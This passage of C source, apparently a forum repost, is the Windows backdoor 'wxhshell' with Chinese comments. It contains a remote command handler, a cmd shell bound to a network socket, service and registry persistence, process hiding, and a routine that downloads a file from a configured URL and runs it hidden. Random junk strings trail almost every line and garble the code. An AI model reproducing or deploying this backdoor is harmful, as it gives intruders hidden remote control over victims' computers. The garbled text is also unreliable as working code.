  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;HC"hEc!  
  } D&'".N,}  
  else { U!Lws#\X  
^,X+ n5q;m  
    switch(cmd[0]) { s"'1|^od  
  D Lu]d$G  
  // 帮助 4M:oa#gh@  
  case '?': { Q=dR[t>^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kN_LD-  
    break; &8(2U-  
  } 464Z0C  
  // 安装 |XsW)/  
  case 'i': { iCH Z{<k  
    if(Install()) w"D"9 G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^^[,aBu  
    else cx$Oh`-Car  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fm@GU  
    break; F[+sc Mx!G  
    } )TWf/L cp  
  // 卸载 c>^_4QQ  
  case 'r': { c{E-4PYbah  
    if(Uninstall()) t512]eqhb(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T^79p$  
    else |k^X!C0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3B_S>0H"$  
    break; LWW0lG!_F  
    } Wbc % G8  
  // 显示 wxhshell 所在路径 mX#T<_=d  
  case 'p': { zR/ATm]9  
    char svExeFile[MAX_PATH]; <sPB|5Ak  
    strcpy(svExeFile,"\n\r"); AXJC&O}`  
      strcat(svExeFile,ExeFile); \UiuJ+  
        send(wsh,svExeFile,strlen(svExeFile),0); H: U_k68  
    break; "XH]B  
    } TEYbB=.  
  // 重启 gC'GZi^  
  case 'b': { 2n@"|\uHD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o~~_>V)W  
    if(Boot(REBOOT)) 5?Bi+fg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fpzTv3D=I  
    else { L'c4 i[~s  
    closesocket(wsh); & z?y  
    ExitThread(0); h.c)+wz/%C  
    } ]s u\[?l  
    break; =\q3;5[  
    } zRKg>GG`  
  // 关机 F|"NJ*o}  
  case 'd': { X`22Hf4ct  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q8P;AN_JS  
    if(Boot(SHUTDOWN)) x|Q6[Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Obw uyhjQ  
    else { Wima=xYe\5  
    closesocket(wsh); 6I>W(_T  
    ExitThread(0); }wiq?dr  
    } ;A|6&~E0G  
    break; Gjzhgz--  
    } {yJ{DU?%Y  
  // 获取shell [H"Ods~_`  
  case 's': { +tuC845  
    CmdShell(wsh); mxXQBmW  
    closesocket(wsh); :@pm gp  
    ExitThread(0); LDbo  
    break;  Z3I<  
  } GSMP)8 W  
  // 退出 643 O(0a  
  case 'x': { ;KnnAZJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >0f5Mjug  
    CloseIt(wsh); 8(ZQD+U(9F  
    break; h883pe=  
    } ;8U NM  
  // 离开 H1q>UU:  
  case 'q': { ] Li(E:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Um*{~=;u  
    closesocket(wsh); /Cwt4.5  
    WSACleanup(); 398%16}  
    exit(1); aLP 2p]  
    break; ==c\* o  
        } Bm^vKzp  
  } E4WoKuE1$  
  } @!K)(B;A0b  
A/ GEDG ?  
  // 提示信息 ]x~H"<V  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QHA<7Wg  
} rU(N@i%  
  } In]h+tG?rN  
YsDn?pD@  
  return; {-H6Z#b[  
} Rg' 1 F  
"bRck88V  
// shell模块句柄  8sE@?,  
int CmdShell(SOCKET sock) uGgR@+7?Z  
{ HSyohP87  
STARTUPINFO si; }>SHTHVye  
ZeroMemory(&si,sizeof(si)); WtdWD_\%Y\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;c~6^s`2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \Q]2Zq  
PROCESS_INFORMATION ProcessInfo; tTC[^Dji  
char cmdline[]="cmd"; b[H& vp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8r+R~{  
  return 0; , Lhgv1  
} Rh,*tS  
MX  qH  
// 自身启动模式 :fo%)_Jc!  
int StartFromService(void) Av7bp[OD  
{ e>Is$+[`7  
typedef struct R$NH [Tz  
{ WCU[]A  
  DWORD ExitStatus; Wrt3p-N"D  
  DWORD PebBaseAddress; YpXUYNy  
  DWORD AffinityMask; w0VJt<e*  
  DWORD BasePriority; Gv3a<Knn4  
  ULONG UniqueProcessId; ~[l2"@  
  ULONG InheritedFromUniqueProcessId; G^oBu^bq~  
}   PROCESS_BASIC_INFORMATION; BpRQG]L  
389T6sP]  
PROCNTQSIP NtQueryInformationProcess; &yWl8O  
5,;{<\c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ll73}v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @yqy$I   
6Kg lp\2  
  HANDLE             hProcess; N!aV~\E  
  PROCESS_BASIC_INFORMATION pbi; F5:4 B]ZF  
iC$~v#2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V/<dHOfR\  
  if(NULL == hInst ) return 0; j[9xF<I  
IZniRd;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iiKFV>;t/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [sbC6(z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :,6dW?mun6  
bvs0y7M='  
  if (!NtQueryInformationProcess) return 0; ,??xW{* |  
~cQP4 kBD]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }[$C=|>  
  if(!hProcess) return 0; 5c`DkWne%  
v~uQ_ae$>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "\]kK @,  
`)!)}PXl  
  CloseHandle(hProcess); Hk(w\   
hekAics6S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ngn%"xYX  
if(hProcess==NULL) return 0;  qqLmjDv  
ok2$ p  
HMODULE hMod; 'R99kL/.N  
char procName[255]; s>E4.0[I%  
unsigned long cbNeeded; |l `X]dsfQ  
t&eY+3y,T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zH}u9IR3`  
D3vdO2H  
  CloseHandle(hProcess); +7^{T:^ht  
.0r5=  
if(strstr(procName,"services")) return 1; // 以服务启动 +|r) ;>b  
n!A')]y"  
  return 0; // 注册表启动 ycIT=AFYqd  
} @| qnD  
`N;u#z  
// 主模块 0q>f x  
int StartWxhshell(LPSTR lpCmdLine) ;Hv#SRSz  
{ /<Zy-+3  
  SOCKET wsl; ` L6H2:pf  
BOOL val=TRUE; ^7vh ize  
  int port=0; rmk'{"  
  struct sockaddr_in door; R1\cAP^ 0  
r"zW=9 O=  
  if(wscfg.ws_autoins) Install(); l3)(aay!  
z@{|Y;s  
port=atoi(lpCmdLine); I^ppEgYSY  
3JWHyo  
if(port<=0) port=wscfg.ws_port; L5]*ZCDv  
Gq$9he<  
  WSADATA data; u'<Y#bsR#/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2P"@=bYT"  
x.<^L] "  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0[x?Q[~S_0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #sq-V,8  
  door.sin_family = AF_INET; #<MLW4P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w(<; $9  
  door.sin_port = htons(port); M\DUx5d J,  
j+88J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ) Tpc8Hr  
closesocket(wsl); =3^YKI  
return 1; 3-FS} {,  
}  Xb&r|pR  
KAO}*?  
  if(listen(wsl,2) == INVALID_SOCKET) { Hvnak{5  
closesocket(wsl); #B &D  
return 1; 72@8M  
} {uDL"~^\  
  Wxhshell(wsl); ak;fCx&  
  WSACleanup(); hJrxb<9@Y0  
P5%DvZB$w  
return 0; \"<&8  
P (_:8|E  
} f)vD2_E  
(IAl$IP63s  
// 以NT服务方式启动 k'xnl"q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <xOpm8  
{ 8L|rj4z<#  
DWORD   status = 0; 7'xT)~*$4  
  DWORD   specificError = 0xfffffff; 3Yp_k  
OHR9u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V89!C?.[]1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q{0-pHr}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ZL+{?1&-  
  serviceStatus.dwWin32ExitCode     = 0; Wu2#r\  
  serviceStatus.dwServiceSpecificExitCode = 0; T=A7f6`  
  serviceStatus.dwCheckPoint       = 0; LrsP4G  
  serviceStatus.dwWaitHint       = 0; 1x V~EX  
B@63=a*kG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :2 n5;fp  
  if (hServiceStatusHandle==0) return; [64K?l0&  
rM2?"  
status = GetLastError(); Go^W\y   
  if (status!=NO_ERROR) vpMNulXb,  
{  d9R0P2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yaa+j8s]  
    serviceStatus.dwCheckPoint       = 0; =9LC "eI&|  
    serviceStatus.dwWaitHint       = 0; \V7Hi\)  
    serviceStatus.dwWin32ExitCode     = status; 3`5?Zgp  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6T;C+Y$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lF 8B+  
    return; Ra;e#)7 X  
  } D@"q2 !  
[t: =%&B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; M#=woj&[  
  serviceStatus.dwCheckPoint       = 0; \Nb6E&+  
  serviceStatus.dwWaitHint       = 0; s3uT:Xw3rW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ) Z0  
} /?9e{,\s  
A&Ut:OiA  
// 处理NT服务事件,比如:启动、停止 0d9rJv}~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \@*cj8e  
{ RIC'JLWQ  
switch(fdwControl) &dbX>u q  
{ 6(ju!pE`  
case SERVICE_CONTROL_STOP: H \.EK Z  
  serviceStatus.dwWin32ExitCode = 0; 0;!aO.l]K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tZk@ RX  
  serviceStatus.dwCheckPoint   = 0; (=)+as"u9*  
  serviceStatus.dwWaitHint     = 0; O8[dPm W  
  { Oa$ ew'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IgLP=mqcWK  
  } gA`/t e  
  return; A:cc @ku  
case SERVICE_CONTROL_PAUSE: z }R-J/xr2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q ^n6"&;*  
  break; {>5z~OV  
case SERVICE_CONTROL_CONTINUE: *[.+|v;A  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e1[kgp   
  break; qdAz3iye  
case SERVICE_CONTROL_INTERROGATE: lh(A=hn"n  
  break; Ts}5Nk8%  
}; 1&i!92:E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P+%O]v1 Ob  
} 9cQKXh:R.  
x1|5q/I  
// 标准应用程序主函数 oQjh?vm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v)%EG  
{ RVXRF_I  
s,]6Lri`\  
// 获取操作系统版本 nC_<pq^tr  
OsIsNt=GetOsVer();  vF]?i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,HUs MCXQ  
b3#c0GL  
  // 从命令行安装 (xG#D;M0  
  if(strpbrk(lpCmdLine,"iI")) Install(); w^A8ZT0^7  
|jEKUTv,G  
  // 下载执行文件 yXg783B|v  
if(wscfg.ws_downexe) { yJ/m21f  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YV. *8'*  
  WinExec(wscfg.ws_filenam,SW_HIDE); WxWgY}`  
} !}l)okQH<#  
",#rI+ el  
if(!OsIsNt) { wZE[we^Q"  
// 如果时win9x,隐藏进程并且设置为注册表启动 RLw=y{%p  
HideProc(); !D7\$ g6g  
StartWxhshell(lpCmdLine); \X Nb9-  
} '/z.\S  
else sN5 x\9U  
  if(StartFromService()) H1s{JJAM>i  
  // 以服务方式启动 )WwysGkqol  
  StartServiceCtrlDispatcher(DispatchTable); eq(|%]a=  
else |>j=#2  
  // 普通方式启动 4{}u PbS  
  StartWxhshell(lpCmdLine); NO`LSF  
'?_I-="Mr  
return 0; AY [7yPP  
}
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只看该作者 1 发表于: 2006-10-10
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